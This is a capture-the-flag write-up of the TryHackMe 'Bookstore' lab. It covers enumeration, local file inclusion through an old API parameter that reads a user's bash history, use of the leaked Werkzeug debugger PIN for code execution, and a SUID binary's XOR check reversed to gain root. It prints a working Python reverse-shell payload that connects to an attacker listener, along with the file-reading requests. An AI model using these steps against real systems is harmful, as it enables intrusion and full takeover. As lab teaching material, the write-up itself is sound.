Medium Rooms - Try Hack Me

Bookstore

Enumeration

nmap -sC -sV -oN nmap/initial 10.10.98.215

We found 3 Ports open!

PORT     STATE SERVICE VERSION
22/tcp   open  ssh     OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
|   2048 44:0e:60:ab:1e:86:5b:44:28:51:db:3f:9b:12:21:77 (RSA)
|   256 59:2f:70:76:9f:65:ab:dc:0c:7d:c1:a2:a3:4d:e6:40 (ECDSA)
|_  256 10:9f:0b:dd:d6:4d:c7:7a:3d:ff:52:42:1d:29:6e:ba (ED25519)
80/tcp   open  http    Apache httpd 2.4.29 ((Ubuntu))
|_http-server-header: Apache/2.4.29 (Ubuntu)
|_http-title: Book Store
5000/tcp open  http    Werkzeug httpd 0.14.1 (Python 3.6.9)
| http-robots.txt: 1 disallowed entry
|_/api </p>
|_http-title: Home
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Port 80

Visiting port 80 didn’t give much. but on login.html i found this:

<!--Still Working on this page will add the backend support soon, also the debugger pin is inside sid's bash history file -->

Let’s keep it for future! Ok now Let’s do some Fuzzing!

gobuster dir -u http://10.10.98.215/ -w /usr/share/wordlists/seclists/Discovery/Web-Content/raft-small-words-lowercase.txt -o root.gobuster
/images               (Status: 301) [Size: 313] [--> http://10.10.98.215/images/]
/assets               (Status: 301) [Size: 313] [--> http://10.10.98.215/assets/]
/javascript           (Status: 301) [Size: 317] [--> http://10.10.98.215/javascript/]

Found an endpoint!

Visiting assets, a file caught my eyes: http://10.10.98.215/assets/js/api.js

function getAPIURL() {
  var str = window.location.hostname;
  str = str + ":5000";
  return str;
}

async function getUsers() {
  var u = getAPIURL();
  let url = "http://" + u + "/api/v2/resources/books/random4";
  try {
    let res = await fetch(url);
    return await res.json();
  } catch (error) {
    console.log(error);
  }
}

async function renderUsers() {
  let users = await getUsers();
  let html = "";
  users.forEach((user) => {
    let htmlSegment = `<div class="user">
	 	        <h2>Title : ${user.title}</h3> <br>
                        <h3>First Sentence : </h3> <br>
			<h4>${user.first_sentence}</h4><br>
                        <h1>Author: ${user.author} </h1> <br> <br>        
                </div>`;

    html += htmlSegment;
  });

  let container = document.getElementById("respons");
  container.innerHTML = html;
}
renderUsers();

//the previous version of the api had a paramter which lead to local file inclusion vulnerability, glad we now have the new version which is secure.

Port 5000 => /api

Hmm, Intresting!

//the previous version of the api had a paramter which lead to local file inclusion vulnerability, glad we now have the new version which is secure.

Let’s Fuzz?

gobuster dir -u http://10.10.98.215:5000/ -w /usr/share/wordlists/seclists/Discovery/Web-Content/raft-small-words-lowercase.txt -o root-5000.gobuster
/api                  (Status: 200) [Size: 825]
/console              (Status: 200) [Size: 1985]
/robots.txt           (Status: 200) [Size: 45]

Visiting /api:

Since There’s v2 of the api and the comment above said the previous version has a paramater that has an LFI vulnerability, Let’s Fuzz the parameters on v1?

ffuf -u "http://10.10.98.215:5000/api/v1/resources/books?FUZZ=1" -w /usr/share/wordlists/seclists/Discovery/Web-Content/burp-parameter-names.txt
author                  [Status: 200, Size: 3, Words: 1, Lines: 2, Duration: 605ms]
id                      [Status: 200, Size: 237, Words: 53, Lines: 10, Duration: 453ms]
published               [Status: 200, Size: 3, Words: 1, Lines: 2, Duration: 745ms]
show                    [Status: 500, Size: 23076, Words: 3277, Lines: 357, Duration: 834ms]

Testing all parameters we found that show parameter is vulnerable!

Hmm, where do we go? Remember this?

<!--Still Working on this page will add the backend support soon, also the debugger pin is inside sid's bash history file -->

Based on this we know that there is a user named sid let’s get his files!

curl "http://10.10.98.215:5000/api/v1/resources/books?show=/home/sid/user.txt"
REDACTED

Port 5000 => /console

curl "http://10.10.98.215:5000/api/v1/resources/books?show=/home/sid/.bash_history"
cd /home/sid
whoami
export WERKZEUG_DEBUG_PIN=REDACTED
echo $WERKZEUG_DEBUG_PIN
python3 /home/sid/api.py
ls
exit

This PIN will be useful on the console debug web page. Let’s visit it:

Putting the PIN opened us the way to do some RCE with python! So let’s get a Python Rev Shell?

Setting up a netcat listener on port 9001 on your machine:

rlwrap nc -nvlp 9001

on the console app put this payload:

import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("<YOUR_IP>",9001));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/bash","-i"]);

and voila 🎉! we got a shell!

Let’s stabilize it:

python3 -c 'import pty;pty.spawn("/bin/bash")'

CTRL + Z

stty raw -echo; fg

ENTER
ENTER

export TERM=xterm

After getting a shell let’s see what is inside of the sid home directory:

sid@bookstore:~$ ls -lah
ls -lah
total 80K
drwxr-xr-x 5 sid  sid  4.0K Oct 20  2020 .
drwxr-xr-x 3 root root 4.0K Oct 20  2020 ..
-r--r--r-- 1 sid  sid  4.6K Oct 20  2020 api.py
-r-xr-xr-x 1 sid  sid   160 Oct 14  2020 api-up.sh
-r--r----- 1 sid  sid   116 Oct 20  2020 .bash_history
-rw-r--r-- 1 sid  sid   220 Oct 20  2020 .bash_logout
-rw-r--r-- 1 sid  sid  3.7K Oct 20  2020 .bashrc
-rw-rw-r-- 1 sid  sid   16K Oct 19  2020 books.db
drwx------ 2 sid  sid  4.0K Oct 20  2020 .cache
drwx------ 3 sid  sid  4.0K Oct 20  2020 .gnupg
drwxrwxr-x 3 sid  sid  4.0K Oct 20  2020 .local
-rw-r--r-- 1 sid  sid   807 Oct 20  2020 .profile
-rwsrwsr-x 1 root sid  8.3K Oct 20  2020 try-harder
-r--r----- 1 sid  sid    33 Oct 15  2020 user.txt

Hmm, try-harder is a SUID Binary and it runs it as root!

Run a python server on the victim to get the file:

python3 -m http.server

On our machine:

wget http://10.10.98.215:8000/try-harder

Let’s decompile it with Ghidra.

int main() {
    setuid(0x0);
    puts("What's The Magic Number?!");
    __isoc99_scanf(0x8ee);
    if ((var_14 ^ 0x1116 ^ 0x5db3) == 0x5dcd21f4) {
            system("/bin/bash -p");
    }
    else {
            puts("Incorrect Try Harder");
    }
    rax = *0x28 ^ *0x28;
    if (rax != 0x0) {
            rax = __stack_chk_fail();
    }
    return rax;
}

Hmm, Let’s give this to chatgpt:

if ((var_14 ^ 0x1116 ^ 0x5db3) == 0x5dcd21f4) {
    system("/bin/bash -p");
}

but chatgpt failed multiple times, What should we do now? Let’s do it manually:

since that (var_14 ^ 0x1116 ^ 0x5db3) == 0x5dcd21f4 XOR-ing 0x1116 and 0x5db3 and expects the result to be equal to 0x5dcd21f4. so what if we XOR-ed 0x5dcd21f4, 0x5db3 and 0x1116? Let’s do it with python!

python3 -c "print(0x5dcd21f4^0x5db3^0x1116)"
1573743953

And We are root!!!

sid@bookstore:~$ ./try-harder
What's The Magic Number?!
1573743953

root@bookstore:~# cat /root/root.txtcat /root/root.txt

REDACTED!